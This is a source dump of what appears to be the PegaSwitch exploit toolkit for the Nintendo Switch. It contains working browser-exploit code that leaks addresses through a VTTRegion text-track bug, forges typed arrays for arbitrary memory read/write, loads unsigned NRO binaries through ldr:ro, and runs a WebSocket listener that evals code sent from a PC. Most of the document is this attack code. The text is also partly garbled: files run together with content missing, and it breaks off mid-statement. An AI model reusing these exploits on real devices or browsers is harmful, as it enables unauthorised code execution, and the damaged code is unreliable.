442 | if(dataLength != dataPayloadLength) { 443 | throw new Error('data payload length in domain header != expected data payload length'); 444 | } 445 | this.objectId = buf[pos++]; 446 | pos+= 2; 447 | } 448 | 449 | this.packed = Array.from(buf); 450 | 451 | if(dataPayloadLength > 0) { 452 | var dataPayloadBegin = pos; 453 | 454 | if ((buf[pos] & 0x00FFFFFF) !== 0x434653) { 455 | utils.hexdump("bad msg", buf, 0x50); 456 | throw new Error("SFCI/SFCO wasn't in expected position"); 457 | } 458 | 459 | pos += 2; 460 | this.cmdId = this.resultCode = buf[pos]; 461 | this.success = this.cmdId === 0; 462 | pos+= 2; 463 | 464 | while (pos < dataPayloadBegin + (dataPayloadLength >> 2)) { 465 | this.data.push(buf[pos++]); 466 | } 467 | } 468 | 469 | pos = rawDataSectionOffset + (rawDataSectionLength >> 2); 470 | 471 | for(var i = 0; i < cDescriptors; i++) { 472 | var a = buf[pos++]; 473 | var b = buf[pos++]; 474 | var addr = [a, (b & 0xFFFF) >>> 0]; 475 | var size = [b >>> 16, 0]; 476 | this.cDescriptors.push([addr, size]); 477 | } 478 | 479 | return this; 480 | }; 481 | 482 | IPCMessage.prototype.show = function () { 483 | utils.log('IPC message:'); 484 | if (this.resultCode !== 0) { utils.log('- Command ID / Result code: ' + new ResultCode(this.resultCode).toString()); } 485 | if (this.pid !== null) { utils.log('- PID: ' + utils.paddr(this.pid)); } 486 | if (this.dataBuffer.length > 0) { 487 | utils.log('- Data'); 488 | utils.hexdump(" data", new Uint32Array(this.dataBuffer)); 489 | } 490 | if (this.copiedHandles.length > 0) { 491 | utils.log('- Copied handles'); 492 | for (var i = 0; i < this.copiedHandles.length; ++i) { utils.log(' - 0x' + this.copiedHandles[i].toString(16)); } 493 | } 494 | if (this.movedHandles.length > 0) { 495 | utils.log('- Moved handles'); 496 | for (var i = 0; i < this.movedHandles.length; ++i) { utils.log(' - 0x' + this.movedHandles[i].toString(16)); } 497 | } 498 | if (this.aDescriptors.length > 0) { utils.log('- ' + this.aDescriptors.length + ' A descriptor' + (this.aDescriptors.length > 1 ? 's' : '')); } 499 | if (this.bDescriptors.length > 0) { utils.log('- ' + this.bDescriptors.length + ' B descriptor' + (this.bDescriptors.length > 1 ? 's' : '')); } 500 | if (this.cDescriptors.length > 0) { utils.log('- ' + this.cDescriptors.length + ' C descriptor' + (this.cDescriptors.length > 1 ? 's' : '')); } 501 | if (this.xDescriptors.length > 0) { utils.log('- ' + this.xDescriptors.length + ' X descriptor' + (this.xDescriptors.length > 1 ? 's' : '')); } 502 | 503 | return this; 504 | }; 505 | 506 | IPCMessage.prototype.showPacked = function () { 507 | utils.hexdump("ipcm", this.pack()); 508 | return this; 509 | }; 510 | 511 | IPCMessage.prototype.toBuilderString = function () { 512 | function fmtU32Array(arr) { 513 | return arr.map((u32) => "0x" + u32.toString(16)).join(", "); 514 | } 515 | 516 | var str = "sc.ipcMsg(" + this.cmdId + ")"; 517 | if(this.type !== 4) { str+= ".setType(" + this.type + ")"; } 518 | if(this.dataBuffer.length > 0) { str+= ".data(" + fmtU32Array(this.dataBuffer) + ")"; } 519 | this.aDescriptors.forEach((ad) => { 520 | str+= ".aDescriptor(" + fmtU32Array(ad) + ")"; 521 | }); 522 | this.bDescriptors.forEach((ad) => { 523 | str+= ".bDescriptor(" + fmtU32Array(ad) + ")"; 524 | }); 525 | this.cDescriptors.forEach((ad) => { 526 | str+= ".cDescriptor(" + fmtU32Array(ad) + ")"; 527 | }); 528 | this.xDescriptors.forEach((ad) => { 529 | str+= ".xDescriptor(" + fmtU32Array(ad) + ")"; 530 | }); 531 | this.copiedHandles.forEach((ch) => { 532 | str+= ".copyHandle(0x" + ch.toString(16) + ")"; 533 | }); 534 | this.movedHandles.forEach((ch) => { 535 | str+= ".moveHandle(0x" + ch.toString(16) + ")"; 536 | }); 537 | if(this.objectDomainCommand) { 538 | switch(this.objectDomainCommand) { 539 | case 1: 540 | str+= ".toObject(" + this.objectId + ")"; 541 | break; 542 | case 2: 543 | str+= ".closeObject(" + this.objectId + ")"; 544 | break; 545 | default: 546 | throw new Error("unknown domain command"); 547 | } 548 | } 549 | return str; 550 | }; 551 | 552 | IPCMessage.prototype.assertOk = function () { 553 | if(!this.success) { 554 | this.show(); 555 | throw new ResultCode(this.resultCode); 556 | } else { 557 | return this; 558 | } 559 | }; 560 | 561 | IPCMessage.prototype.asResult = function () { 562 | if(this.success) { 563 | return new Result.Ok(this); 564 | } else { 565 | return new Result.Err(this); 566 | } 567 | }; 568 | 569 | // calls cb if our result code == 0, err otherwise 570 | // cb signature is (msg, moved, copied) => { ... } 571 | // returns value returned from cb 572 | IPCMessage.prototype.withHandles = function(cb, err) { 573 | try { 574 | if(this.success) { 575 | return cb(this, this.movedHandles, this.copiedHandles); 576 | } else { 577 | if(err) { 578 | return err(this, this.movedHandles, this.copiedHandles); 579 | } else { 580 | return this; 581 | } 582 | } 583 | } finally { 584 | var sender = this.sender; 585 | this.movedHandles.forEach((mh) => { 586 | sender.svcCloseHandle(mh); 587 | }); 588 | this.copiedHandles.forEach((ch) => { 589 | sender.svcCloseHandle(ch); 590 | }); 591 | } 592 | }; 593 | 594 | IPCMessage.prototype.toString = function() { 595 | return "IPCMessage(" + this.cmdId + " = " + new ResultCode(this.resultCode).toString() + ")"; 596 | }; 597 | 598 | function IPCFailure(sc, sender, resultCode) { 599 | this.resultCode = resultCode; 600 | this.sc = sc; 601 | this.sender = sender; 602 | } 603 | 604 | IPCFailure.prototype.assertOk = function () { 605 | this.show(); 606 | throw this.resultCode; 607 | }; 608 | 609 | IPCFailure.prototype.asResult = function () { 610 | return new Result.Err(this); 611 | }; 612 | 613 | IPCFailure.prototype.withHandles = function(ok, err) { 614 | if(err) { 615 | return err(this, [], []); 616 | } else { 617 | return this; 618 | } 619 | }; 620 | 621 | IPCFailure.prototype.show = function () { 622 | utils.log("IPC Failure: " + this.resultCode.message + ", offending request shown below"); 623 | new IPCMessage(this.sc, this.sender).unpack(this.sc.ipcBuf, false).show(); 624 | return this; 625 | }; 626 | 627 | IPCFailure.prototype.toString = function () { 628 | return "IPCFailure(" + this.resultCode.toString() + ")"; 629 | }; 630 | 631 | IPCFailure.prototype.success = false; 632 | IPCFailure.prototype.isFailure = true; 633 | 634 | sploitMixin.ipcMsg = function (cmdId) { 635 | return new IPCMessage(this.sc, this, cmdId); 636 | }; 637 | 638 | /* 639 | If no `cb` is passed, return a Result. 640 | Ok(u32 handle) if everything is okay 641 | Err(ResultCode) if `sm:` returned an unsuccessful result code 642 | Throw if `name` is not a string, no such service exists, or we fail to connect to `sm:` 643 | If `cb` is passed: 644 | Calls `cb` with the `u32 handle` if successful. If we fail to get a handle, throw. 645 | Returns value returned from `cb` and automatically closes handle after `cb` returns. 646 | */ 647 | sploitMixin.getService = function (name, cb) { 648 | if (typeof(name) !== "string") { 649 | throw new Error("cannot get service with non-string name"); 650 | } 651 | if (!this.sc.hasService(name)) { 652 | throw new Error('no such service'); 653 | } 654 | 655 | if (this.smHandle === undefined) { 656 | this.smHandle = this.svcConnectToPort('sm:').assertOk(); 657 | } 658 | var lol = utils.str2u64(name); 659 | var r = this.ipcMsg(1).datau64(lol).sendTo(this.smHandle).asResult().map((response) => response.movedHandles[0]); 660 | if(cb === undefined) { 661 | return r; 662 | } else { 663 | var h = r.assertOk(); 664 | try { 665 | return cb(h); 666 | } finally { 667 | this.svcCloseHandle(h); 668 | } 669 | } 670 | }; 671 | 672 | sploitMixin.getServices = function(services, callback) { 673 | var serviceHandles = []; 674 | 675 | for (var si = 0; si < services.length; si++) { 676 | var service = this.getService(services[si]).assertOk(); 677 | serviceHandles.push( service ); 678 | } 679 | 680 | try { 681 | return callback.apply(undefined, serviceHandles); 682 | } finally { 683 | for (var shi = 0; si < serviceHandles.length; shi++) { 684 | this.svcCloseHandle(serviceHandles[shi]); 685 | } 686 | } 687 | }; 688 | 689 | sploitMixin.registerService = function (name, maxSessions) { 690 | if (this.smHandle === undefined) { 691 | this.smHandle = this.svcConnectToPort('sm:').assertOk(); 692 | } 693 | if (maxSessions === undefined) { 694 | maxSessions = 1000; 695 | } 696 | var lol = utils.str2u64(name); 697 | utils.dlog('Registering service ' + name); 698 | return this.ipcMsg(2).datau64(lol, [maxSessions, 0x20]).sendTo(this.smHandle).asResult().map((r) => r.movedHandles[0]); 699 | }; 700 | 701 | sploitMixin.unregisterService = function (name) { 702 | if (this.smHandle === undefined) { 703 | this.smHandle = this.svcConnectToPort('sm:').assertOk(); 704 | } 705 | var lol = utils.str2u64(name); 706 | return this.ipcMsg(3).datau64(lol).sendTo(this.smHandle).asResult(); 707 | }; 708 | 709 | sploitcore.prototype.hasService = function (name) { 710 | if (this.ipcServices[name] === undefined) { 711 | var r = this.registerService(name, 1000); 712 | if(r.isOk) { 713 | this.ipcServices[name] = false; 714 | this.unregisterService(name).assertOk(); 715 | } else { 716 | this.ipcServices[name] = true; 717 | } 718 | } 719 | return this.ipcServices[name]; 720 | }; 721 | 722 | sploitMixin.getAutoHandle = function (name) { 723 | if (this.ipcHandles[name] === undefined) { 724 | if (name instanceof Function) { 725 | this.ipcHandles[name] = name(); 726 | } else if (typeof(name) === "string") { 727 | this.ipcHandles[name] = this.getService(name).assertOk(); 728 | } else { 729 | throw new Error("invalid auto handle type " + name); 730 | } 731 | } 732 | return this.ipcHandles[name]; 733 | }; 734 | 735 | sploitMixin.killAutoHandle = function (name) { 736 | if (name === undefined) { 737 | for (var name in this.ipcHandles) { 738 | this.killAutoHandle(name); 739 | } 740 | return; 741 | } 742 | 743 | if (this.ipcHandles[name] === undefined) { return; } 744 | 745 | this.svcCloseHandle(this.ipcHandles[name]).assertOk(); 746 | delete this.ipcHandles[name]; 747 | }; 748 | 749 | module.exports = IPCMessage; 750 | -------------------------------------------------------------------------------- /pegaswitch/exploit/main.js: -------------------------------------------------------------------------------- 1 | /* eslint camelcase: "off" */ 2 | /* eslint no-redeclare: "off" */ 3 | /* eslint no-eval: "off" */ 4 | /* global alert, WebSocket */ 5 | var reservedWords = require('reserved-words'); 6 | 7 | var SploitCore = require('./sploitcore'); 8 | window.IPCMessage = require('./ipc'); 9 | var utils = require('./utils'); 10 | var runNro = require('./runNro'); 11 | var config = require('../config'); 12 | var SDBCore = require('./sdbcore'); 13 | var socket; 14 | 15 | window.onerror = function (msg, url, line, col, error) { 16 | if (msg === 'Out of memory') { alert(msg); } 17 | 18 | var stack = error ? error.stack : null; 19 | 20 | utils.send('error', [line, msg, stack]); 21 | if (socket) { 22 | socket.send(JSON.stringify({ 23 | type: 'error', 24 | response: [ line, msg, stack ] 25 | })); 26 | } 27 | // location.reload(); 28 | }; 29 | 30 | utils.log('Loaded'); 31 | 32 | function handler (sc, socket) { 33 | return function (event) { 34 | var data = JSON.parse(event.data); 35 | 36 | if (data.cmd === 'sp') { 37 | utils.log('running getSP()...'); 38 | socket.send(JSON.stringify({ 39 | type: 'gotsp', 40 | response: utils.paddr(sc.getSP()) 41 | })); 42 | } else if (data.cmd === 'gc') { 43 | utils.log('running GC'); 44 | sc.gc(); 45 | socket.send(JSON.stringify({ 46 | type: 'gcran' 47 | })); 48 | } else if (data.cmd === 'malloc') { 49 | var size = parseInt(data.args[0]); 50 | var addr = sc.malloc(size); 51 | socket.send(JSON.stringify({ 52 | type: 'mallocd', 53 | response: utils.paddr(addr) 54 | })); 55 | } else if (data.cmd === 'free') { 56 | var addr = utils.parseAddr(data.args[0]); 57 | sc.free(addr); 58 | } else if (data.cmd === 'write4' || data.cmd === 'write8') { 59 | utils.log(JSON.stringify(data)); 60 | var addr = utils.parseAddr(data.args[0]); 61 | var value = parseInt(data.args[1]); 62 | var offset = parseInt(data.args[2]) || 0; 63 | 64 | sc[data.cmd](value, addr, offset); 65 | } else if (data.cmd === 'read4' || data.cmd === 'read8') { 66 | var addr = utils.parseAddr(data.args[0]); 67 | var offset = parseInt(data.args[1]) || 0; 68 | 69 | var response = sc[data.cmd](addr, offset); 70 | 71 | socket.send(JSON.stringify({ 72 | type: 'rread', 73 | response: response 74 | })); 75 | } else if (data.cmd === 'readstring') { 76 | var addr = utils.parseAddr(data.args[0]); 77 | var length = parseInt(data.args[1]) || 0; 78 | 79 | socket.send(JSON.stringify({ 80 | type: 'rreadstring', 81 | response: sc.readString(addr, length) 82 | })); 83 | } else if (data.cmd === 'eval') { 84 | var words = Object.keys(reservedWords.KEYWORDS['6-strict']); 85 | var code = data.args.join(' '); 86 | var ret = true; 87 | if (~code.indexOf('window.response')) { 88 | ret = false; 89 | } 90 | for (var i = 0; i < words.length; i++) { 91 | var w = words[i]; 92 | var s = code.substr(0, w.length); 93 | if (s === w) { 94 | ret = false; 95 | } 96 | } 97 | if (ret) { 98 | code = 'window.response = ' + code; 99 | } 100 | window.response = null; 101 | eval('with (sc) { ' + code + '}'); 102 | socket.send(JSON.stringify({ 103 | type: 'evald', 104 | response: window.response || 'no output' 105 | })); 106 | } else if (data.cmd === 'evalfile') { 107 | var code = data.args[0]; 108 | eval('with (sc) {\n' + code + '\n}'); 109 | socket.send(JSON.stringify({ 110 | type: 'evald', 111 | response: 'no output' 112 | })); 113 | } else if (data.cmd === 'reboot') { 114 | socket.send(JSON.stringify({ 115 | type: 'rebooting', 116 | response: 'Rebooting...' 117 | })); 118 | sc.ipcMsg(1).sendTo("bpc").assertOk(); 119 | } else if (data.cmd === 'runnro') { 120 | runNro(data.args[0], data.args.slice(1)); 121 | socket.send(JSON.stringify({ 122 | type: 'rannro', 123 | response: 'no output' 124 | })); 125 | } 126 | }; 127 | } 128 | 129 | function setupListener (sc) { 130 | socket = new WebSocket('ws://' + window.location.hostname + ':8100'); 131 | 132 | var handlerFcn = handler(sc, socket); 133 | socket.onmessage = (evt) => { 134 | try { 135 | handlerFcn(evt); 136 | } catch (e) { 137 | window.onerror(e.message, null, e.line, null, e); 138 | } 139 | }; 140 | 141 | socket.onopen = function () { 142 | sc.getService("set:cal", (setcal) => { 143 | socket.send(JSON.stringify({ 144 | type: "identification", 145 | mac: sc.ipcMsg(6).sendTo(setcal).assertOk().data, 146 | version: sc.version 147 | })); 148 | }); 149 | utils.log("Connected to PC..."); 150 | }; 151 | 152 | socket.onerror = function() { 153 | utils.log("socket error, attempting to reconnect in 5 seconds..."); 154 | window.setTimeout(() => { 155 | socket.close(); 156 | setupListener(sc); 157 | }, 5000); 158 | }; 159 | 160 | socket.onclose = function() { 161 | utils.log("socket closed, attempting to reconnect in 5 seconds..."); 162 | window.setTimeout(() => { 163 | utils.log("attempting to reconnect..."); 164 | setupListener(sc); 165 | }, 5000); 166 | }; 167 | } 168 | 169 | function main () 170 | { 171 | if (window.exploitMe === null) 172 | { 173 | utils.log('Exploit failed.'); 174 | 175 | if (window.errmsg === null) { 176 | utils.log('Unknown reason.'); 177 | } else { 178 | utils.log(window.errmsg); 179 | } 180 | 181 | utils.log('~~failed'); 182 | window.location.reload(); 183 | return; 184 | } 185 | 186 | utils.log('Exploit triggered. Beginning breakage.'); 187 | var sc = window.sc = new SploitCore(window.exploitMe); 188 | 189 | if (window.location.href.indexOf("install") > -1) 190 | { 191 | // install 192 | this.sdb = new SDBCore(sc, sc.version); 193 | 194 | if (!this.sdb.initialized) 195 | { 196 | while (1) 197 | alert('Failed to pwn sdb!'); 198 | } 199 | 200 | sc.getServices(["set:sys", "set:fd"], function (setsys, setfd) { 201 | var setSetting = function (session, cls, nam, value) { // session is set:fd 202 | var a = new Uint32Array(1); 203 | a[0] = value; 204 | var x1 = utils.str2ab(cls); 205 | var x2 = utils.str2ab(nam); 206 | return sc.ipcMsg(2).xDescriptor(x1, 48, 0).xDescriptor(x2, 48, 1).aDescriptor(a, 4, 0).sendTo(session).asResult(); 207 | } 208 | 209 | utils.log("Setting ease_nro_restriction"); 210 | setSetting(setfd, "ro", "ease_nro_restriction", 1).assertOk(); 211 | }); 212 | 213 | this.sdb.onready = function() 214 | { 215 | utils.log("Running installer.nro"); 216 | var xhr = new XMLHttpRequest(); 217 | xhr.open('GET', '/installer.nro', false); 218 | xhr.overrideMimeType('text\/plain; charset=x-user-defined'); 219 | xhr.send(null); 220 | 221 | if (xhr.status === 200) 222 | { 223 | nro = xhr.responseText; 224 | nro_u8 = new Uint8Array(nro.length); 225 | 226 | for(var i=0, j=nro.length; i 1); 34 | var sub = f.contentWindow.Array.prototype.slice.call(a, 0, 4); 35 | f.remove(); 36 | cb(sub[0]); 37 | } 38 | 39 | function leakAddrs(obja, objb, objc, cb) { 40 | var validator = ~~(Math.random() * 0x10000); 41 | var vj = u2d(validator, 0); 42 | 43 | var vr = new VTTRegion(); 44 | var v = document.createElement("video"); 45 | v.appendChild(document.createElement("track")); 46 | v.textTracks[0].addRegion(vr); 47 | v = null; 48 | 49 | function agc() 50 | { 51 | var sprayCount = 0x10000; 52 | var ar = []; 53 | for(var i = 0; i < sprayCount; ++i) 54 | ar[i] = [obja,objb,objc,vj,{},{},{},{},{},{},{}]; 55 | var v = document.createElement("video"); 56 | if(vr.track.kind.length > 16){ 57 | var tbuf = new Uint16Array(512); 58 | var cbuf = new Uint32Array(tbuf.buffer); 59 | for(var i = 0; i < 512; ++i) 60 | tbuf[i] = vr.track.kind.codePointAt(i); 61 | 62 | for(var i = 6; i < 512; ++i) { 63 | if(tbuf[i << 1] == validator) { 64 | i -= 6; 65 | log('Found addresses!'); 66 | for(var j = 0; j < 6; ++j) 67 | log(cbuf[i + j].toString(16)); 68 | var a = [cbuf[i + 0], cbuf[i + 1]]; 69 | var b = [cbuf[i + 2], cbuf[i + 3]]; 70 | var c = [cbuf[i + 4], cbuf[i + 5]]; 71 | 72 | for(var i = 0; i < sprayCount; ++i) 73 | delete ar[i]; 74 | ar = null; 75 | return cb(a, b, c, vr); 76 | } 77 | } 78 | } 79 | log("Failed to find addresses"); 80 | failed(); 81 | } 82 | 83 | setTimeout(agc, 0); 84 | } 85 | 86 | function failed() { 87 | while(true) 88 | alert('Failed. Hit the home button and try again.'); 89 | } 90 | 91 | var _dview; 92 | function u2d (low, hi) { 93 | if (!_dview) _dview = new DataView(new ArrayBuffer(8)); 94 | _dview.setUint32(0, low, true); 95 | _dview.setUint32(4, hi, true); 96 | return _dview.getFloat64(0, true); 97 | } 98 | 99 | window.minmain = function minmain () { 100 | log('Starting.'); 101 | buildObject(0, 0, function (b) { 102 | buildObject(0x1337, 0x1, function (d) { 103 | var sid = 1; 104 | var magic = { 105 | 'a': u2d(sid, 0x1602300 - 0x10000), 106 | 'b': b, 107 | 'c': u2d(1, 2), 108 | 'd': d 109 | }; 110 | d = 0; 111 | b = 0; 112 | 113 | var bstore = new ArrayBuffer(0x10 * 4); 114 | var rwmagic = new Uint32Array(bstore); 115 | var leakee = {'b': null}; 116 | var leaker = {'a': leakee}; 117 | leakAddrs(magic, rwmagic, leaker, function (magicaddr, rwaddr, leakeraddr, vr) { 118 | buildObject(rwaddr[0], rwaddr[1], function (c) { 119 | magic.c = c; 120 | c = 0; 121 | buildObject(magicaddr[0] + 4 * 4, magicaddr[1], function (o) { 122 | log('Inside o...'); 123 | while (sid < 0x10000 && !(o instanceof Uint32Array)) { magic.a = u2d(++sid, 0x1602300 - 0x10000); } 124 | if (!(o instanceof Uint32Array)) { 125 | log('Could not find structure ID. Wtf?'); 126 | return; 127 | } 128 | log('Success?'); 129 | var save = [o[4], o[5], o[6]]; 130 | 131 | o[4] = leakeraddr[0]; 132 | o[5] = leakeraddr[1]; 133 | o[6] = 0x1337; 134 | 135 | var va = new Uint32Array(bstore); 136 | var vb = new Uint32Array(bstore); 137 | leaker['a'] = leakee; 138 | leakee['b'] = {'a': va}; 139 | var leakaddr = [rwmagic[4], rwmagic[5]]; 140 | 141 | o[4] = leakaddr[0]; 142 | o[5] = leakaddr[1]; 143 | var ta = [rwmagic[4], rwmagic[5]]; 144 | o[4] = ta[0]; 145 | o[5] = ta[1]; 146 | var addra = [rwmagic[4], rwmagic[5]]; 147 | 148 | o[4] = leakaddr[0]; 149 | o[5] = leakaddr[1]; 150 | leakee['b'] = {'a': vb}; 151 | ta = [rwmagic[4], rwmagic[5]]; 152 | o[4] = ta[0]; 153 | o[5] = ta[1]; 154 | var addrb = [rwmagic[4], rwmagic[5]]; 155 | 156 | o[4] = addra[0]; 157 | o[5] = addra[1]; 158 | rwmagic[4] = addrb[0]; 159 | rwmagic[5] = addrb[1]; 160 | 161 | o[4] = save[0]; 162 | o[5] = save[1]; 163 | o[6] = save[2]; 164 | rwmagic = 0; 165 | magic.a = 0; 166 | magic.b = 0; 167 | magic.c = 0; 168 | magic.d = 0; 169 | o = 0; 170 | 171 | log('Cleaning up'); 172 | 173 | function read4(addr, offset) { 174 | if (arguments.length === 1) { offset = 0; } 175 | 176 | va[4] = addr[0]; 177 | va[5] = addr[1]; 178 | va[6] = 1 + offset; 179 | return vb[offset]; 180 | } 181 | function write4(val, addr, offset) { 182 | if (arguments.length === 2) { offset = 0; } 183 | 184 | va[4] = addr[0]; 185 | va[5] = addr[1]; 186 | va[6] = 1 + offset; 187 | 188 | vb[offset] = val; 189 | } 190 | function read8(addr, offset) { 191 | if (arguments.length === 1) { offset = 0; } 192 | return [read4(addr, offset), read4(addr, offset + 1)]; 193 | } 194 | function write8(val, addr, offset) { 195 | if (arguments.length === 2) { offset = 0; } 196 | if (typeof (val) === 'number') { val = [val, 0]; } 197 | write4(val[0], addr, offset); 198 | write4(val[1], addr, offset + 1); 199 | } 200 | function getAddr(obj) { 201 | leakee['b'] = {'a': obj}; 202 | return read8(read8(leakaddr, 4), 4); 203 | } 204 | 205 | var v = document.createElement("video"); 206 | v.appendChild(document.createElement("track")); 207 | var nta = read8(getAddr(v.textTracks[0]), 0x18 >> 2); 208 | write8(nta, getAddr(vr.track), 0x18 >> 2); 209 | leakee['b'] = {'a': null}; 210 | 211 | log('Loading and running main'); 212 | 213 | loadRun({ 214 | bstore: bstore, 215 | va: va, 216 | vb: vb, 217 | leakee: leakee, 218 | leakaddr: leakaddr, 219 | 220 | v: v, 221 | vr: vr 222 | }); 223 | }); 224 | }); 225 | }); 226 | }); 227 | }); 228 | }; 229 | 230 | function loadRun (obj) { 231 | window.exploitMe = obj; 232 | var elem = document.createElement('script'); 233 | elem.setAttribute('src', 'bundle.js'); 234 | document.body.appendChild(elem); 235 | } 236 | 237 | setTimeout(function () { 238 | document.getElementById('test').click(); 239 | }, 100); 240 | -------------------------------------------------------------------------------- /pegaswitch/exploit/runNro.js: -------------------------------------------------------------------------------- 1 | /* 2 | requires spl MITM and ro!ease_nro_restriction = 0x1 3 | */ 4 | 5 | var utils = require("./utils") 6 | 7 | module.exports = (res, args, sc) => { 8 | if(0) { 9 | throw new Error("requires spl mitm. try `enable sdbcore`"); 10 | } 11 | if(sc.version !== "3.0.0") { 12 | throw new Error("requires 3.0.0"); 13 | } 14 | 15 | var nrr = new ArrayBuffer(0x1000); 16 | var nrru32 = new Uint32Array(nrr); 17 | nrru32[0] = 0x3052524E; // NRR0 18 | nrru32[(0x338 >> 2) + 0] = 0x1000; // Size 19 | nrru32[(0x340 >> 2) + 0] = 0x350; // Hash offset 20 | nrru32[(0x340 >> 2) + 1] = 0x1; // Hash count 21 | 22 | var u8 = res; 23 | var u32 = new Uint32Array(u8.buffer); 24 | 25 | var nroSize = u32[0x18 >> 2]; 26 | var bssSize = u32[0x38 >> 2]; 27 | var mod0Offset = u32[1]; 28 | var dynamicOffset = mod0Offset + u32[(mod0Offset >> 2) + 1]; 29 | 30 | utils.log("dynamic offset: 0x" + dynamicOffset.toString(16)); 31 | 32 | return crypto.subtle.digest("SHA-256", u8.buffer).then((hash) => { 33 | var nrrhashu8 = new Uint8Array(nrr, 0x350, 32); 34 | var hashu8 = new Uint8Array(hash); 35 | nrrhashu8.set(hashu8); 36 | 37 | return sc.getService("ldr:ro", (ldrro) => { 38 | var nrraddr = sc.getArrayBufferAddr(nrr); 39 | sc.ipcMsg(4).datau64(0).sendPid().copyHandle(0xffff8001).sendTo(ldrro).assertOk(); 40 | sc.ipcMsg(2).datau64(0, nrraddr, nrr.byteLength).sendPid().sendTo(ldrro).show(); 41 | 42 | var nrobase = sc.malloc(u8.length + bssSize + 0xfff); 43 | if(nrobase[0] & 0xFFF) 44 | nrobase[0] = ((nrobase[0] & 0xFFFFF000) + 0x1000) >>> 0; 45 | 46 | sc.memcpy(nrobase, u8, u8.byteLength); 47 | 48 | sc.svcNroBase = sc.ipcMsg(0).datau64(0, nrobase, nroSize, utils.add2(nrobase, nroSize), bssSize).sendPid().sendTo(ldrro).assertOk().data; 49 | 50 | sc.ipcMsg(3).datau64(0, nrraddr).sendPid().sendTo(ldrro).assertOk(); 51 | 52 | utils.log('NRO loaded at ' + utils.paddr(sc.svcNroBase)); 53 | 54 | if(args === undefined) { 55 | args = []; 56 | } 57 | var argAbs = args.map((arg) => utils.str2ab(arg)); 58 | var argv = new Uint32Array(argAbs.length * 2); 59 | for(var i = 0; i < argAbs.length; i++) { 60 | var addr = sc.getArrayBufferAddr(argAbs[i]); 61 | argv[(i*2)+0] = addr[0]; 62 | argv[(i*2)+1] = addr[1]; 63 | } 64 | utils.hexdump("argv", argv); 65 | 66 | var argvAddr = sc.getArrayBufferAddr(argv); 67 | 68 | var magic = utils.parseAddr("007874635f656361"); 69 | var appHeap = new ArrayBuffer(0x400000); 70 | var appHeapAddr = sc.getArrayBufferAddr(appHeap); 71 | 72 | var loaderConfig = new Uint32Array([ 73 | 3, // key (OverrideHeap) 74 | 1, // flags ([RECOGNITION-MANDATORY]) 75 | appHeapAddr[0], appHeapAddr[1], // value[0] 76 | appHeap.byteLength, 0, // value[1] 77 | 78 | 5, // key (Argv) 79 | 0, // flags 80 | argAbs.length, 0, // value[0] 81 | argvAddr[0], argvAddr[1], // value[1] 82 | 83 | 8, // key (AppletWorkaround) 84 | 1, // flags ([RECOGNITION-MANDATORY]) 85 | 0, 0, // value[0] (aruid) 86 | 0, 0, // value[1] (ignored) 87 | 88 | 0, // key (EndOfList) 89 | 1, // flags ([RECOGNITION-MANDATORY]) 90 | 0, 0, 0, 0, // value[0], (ignored) value[1] (ignored) 91 | ]); 92 | 93 | utils.log("closing sm and jumping..."); 94 | sc.svcCloseHandle(sc.smHandle).assertOk(); 95 | sc.smHandle = undefined; 96 | var ret = sc.call(sc.svcNroBase, [loaderConfig]); 97 | utils.log("returned " + utils.paddr(ret)); 98 | return ret; 99 | }); 100 | }).catch((e) => { 101 | utils.log("error in then()"); 102 | window.onerror(e.message, null, e.line, null, e); 103 | }); 104 | }; 105 | -------------------------------------------------------------------------------- /pegaswitch/exploit/sdbcore.js: -------------------------------------------------------------------------------- 1 | var utils = require('./utils'); 2 | var svcMixin = require('./svc'); 3 | var sploitMixin = require('./sploitMixin'); 4 | 5 | function c32to8(data) 6 | { 7 | var len = data.length; 8 | var ret = new Uint8Array(len * 4); 9 | var offs = 0; 10 | 11 | for(i = 0; i < len; i++) 12 | { 13 | ret[offs++] = data[i] & 0xFF; 14 | ret[offs++] = (data[i] >>> 8) & 0xFF; 15 | ret[offs++] = (data[i] >>> 16) & 0xFF; 16 | ret[offs++] = data[i] >>> 24; 17 | } 18 | 19 | return ret; 20 | } 21 | 22 | function c64to8(data) 23 | { 24 | var len = data.length; 25 | var ret = new Uint8Array(len * 8); 26 | var offs = 0; 27 | 28 | for(i = 0; i < len; i++) 29 | { 30 | ret[offs++] = data[i][0] & 0xFF; 31 | ret[offs++] = (data[i][0] >>> 8) & 0xFF; 32 | ret[offs++] = (data[i][0] >>> 16) & 0xFF; 33 | ret[offs++] = (data[i][0] >>> 24) & 0xFF; 34 | ret[offs++] = data[i][1] & 0xFF; 35 | ret[offs++] = (data[i][1] >>> 8) & 0xFF; 36 | ret[offs++] = (data[i][1] >>> 16) & 0xFF; 37 | ret[offs++] = (data[i][1] >>> 24) & 0xFF; 38 | } 39 | 40 | return ret; 41 | } 42 | 43 | function c8to32(data) 44 | { 45 | var len = data.length / 4; 46 | var ret = new Uint32Array(len); 47 | var offs = 0; 48 | 49 | for(i = 0; i < len; i++) 50 | { 51 | ret[i] = data[offs++]; 52 | ret[i] |= data[offs++] << 8; 53 | ret[i] |= data[offs++] << 16; 54 | ret[i] |= data[offs++] << 24; 55 | } 56 | 57 | return ret; 58 | } 59 | 60 | function _crc(data, len) 61 | { 62 | var crc = 0; 63 | 64 | for(j = 0; j < len; j++) 65 | { 66 | var v = 0x80; 67 | for(i = 0; i < 8; i++) 68 | { 69 | var xorf = crc & 0x8000; 70 | crc = (crc << 1) & 0xFFFF 71 | 72 | if(data[j] & v) 73 | crc = (crc + 1) & 0xFFFF; 74 | if(xorf) 75 | crc ^= 0x1021; 76 | v >>= 1; 77 | } 78 | } 79 | return crc; 80 | } 81 | 82 | function writePdm(payload) 83 | { 84 | // var data = payload.buffer; 85 | // utils.hexdump("dat", data); 86 | sc.ipcMsg(4).sendTo('pdm:ntfy').assertOk(); 87 | // sc.ipcMsg(5).aDescriptor(data, data.byteLength, 0).sendTo('pdm:ntfy').assertOk(); 88 | sc.ipcMsg(5).aDescriptor(payload, payload.length, 0).sendTo('pdm:ntfy').assertOk(); 89 | } 90 | 91 | function getMiiAuthorId() 92 | { 93 | return c32to8(sc.ipcMsg(90).sendTo('set:sys').assertOk().data); 94 | } 95 | 96 | function crcMiiBuf(b, authorid) 97 | { 98 | var ret = new Uint8Array(b.length + 4); 99 | ret.set(b); 100 | 101 | var crc1 = _crc(ret, b.length + 2); 102 | ret[b.length] = crc1 >> 8; 103 | ret[b.length+1] = crc1 & 0xFF; 104 | 105 | var temp = new Uint8Array(authorid.length + ret.length); 106 | temp.set(authorid); 107 | temp.set(ret, authorid.length); 108 | 109 | var crc2 = _crc(temp, temp.length); 110 | ret[b.length+2] 